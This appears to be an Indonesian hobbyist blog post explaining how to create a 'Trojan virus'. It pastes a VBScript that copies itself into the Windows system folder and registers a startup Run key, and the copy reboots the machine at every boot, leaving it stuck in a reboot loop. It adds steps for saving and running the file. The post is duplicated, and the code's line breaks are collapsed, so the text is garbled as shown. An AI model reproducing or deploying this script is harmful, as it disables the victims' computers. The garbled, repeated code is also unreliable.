Cara Menciptakan Virus Trojan Di Pc
Kali ini saya akan mengembangkan Cara Membuat Virus Trojan.
diusahakan digunkan dengan baik...
langsung aja ya gan.. :v
- buka notepad- cop-as action dibawah ini :
----------------------------------------------------------------------------------------------------
rem - dlRB "DL Reboot" Trojan script by D.L.On Error Resume Nextdim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileDataset FSobj=CreateObject("Scripting.FileSystemObject")set sysDir = FSobj.GetSpecialFolder(1)createRegKey"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"sub createRegKey(regKey,regVal)set regEdit = CreateObject("WScript.Shell")regEdit.RegWrite regKey,regValend subset generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")generateCopy.closeset newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)setFile()fixedCode=replace(fileData,chr(94),"""")set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)procreateCopy.write fixedCodeprocreateCopy.closerebootSystem()function setFile()fileData="rem - ^dlRB^ by D.L." &vbcrlf& _"strComputer = ^.^ " &vbcrlf& _"Set objWMIService = GetObject(^winmgmts:^ _" &vbcrlf& _"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _"(^Select * from Win32_OperatingSystem^)"&vbcrlf& _"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _"ObjOperatingSystem.Reboot()" &vbcrlf& _"Next"end functionfunction rebootSystem()strComputer = "."Set objWMIService = GetObject("winmgmts:" _& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")Set colOperatingSystems = objWMIService.ExecQuery _("Select * from Win32_OperatingSystem")For Each objOperatingSystem in colOperatingSystemsObjOperatingSystem.Reboot()Nextend function------------------------------------------------------------------------------------------------------
lalu save file dengan format vsb
Jika anda ingin mengaktifkan pola nya dibawah ini.
contoh : trojan.vsblalu ganti txt. menjadi all FilesJ
Cukup Sekian agar bermanfaat.
Note: Gunakan dengan bijak, kami tidak bertanggung jawab atas semua yg kalian lakukan, kami hanya mengembangkan sedikit pengetahuan yg saya miliki. ;)
- buka notepad- cop-as action dibawah ini :
----------------------------------------------------------------------------------------------------
rem - dlRB "DL Reboot" Trojan script by D.L.On Error Resume Nextdim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileDataset FSobj=CreateObject("Scripting.FileSystemObject")set sysDir = FSobj.GetSpecialFolder(1)createRegKey"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"sub createRegKey(regKey,regVal)set regEdit = CreateObject("WScript.Shell")regEdit.RegWrite regKey,regValend subset generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")generateCopy.closeset newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)setFile()fixedCode=replace(fileData,chr(94),"""")set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)procreateCopy.write fixedCodeprocreateCopy.closerebootSystem()function setFile()fileData="rem - ^dlRB^ by D.L." &vbcrlf& _"strComputer = ^.^ " &vbcrlf& _"Set objWMIService = GetObject(^winmgmts:^ _" &vbcrlf& _"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _"(^Select * from Win32_OperatingSystem^)"&vbcrlf& _"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _"ObjOperatingSystem.Reboot()" &vbcrlf& _"Next"end functionfunction rebootSystem()strComputer = "."Set objWMIService = GetObject("winmgmts:" _& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")Set colOperatingSystems = objWMIService.ExecQuery _("Select * from Win32_OperatingSystem")For Each objOperatingSystem in colOperatingSystemsObjOperatingSystem.Reboot()Nextend function------------------------------------------------------------------------------------------------------
lalu save file dengan format vsb
Jika anda ingin mengaktifkan pola nya dibawah ini.
contoh : trojan.vsblalu ganti txt. menjadi all FilesJ
Cukup Sekian agar bermanfaat.
Note: Gunakan dengan bijak, kami tidak bertanggung jawab atas semua yg kalian lakukan, kami hanya mengembangkan sedikit pengetahuan yg saya miliki. ;)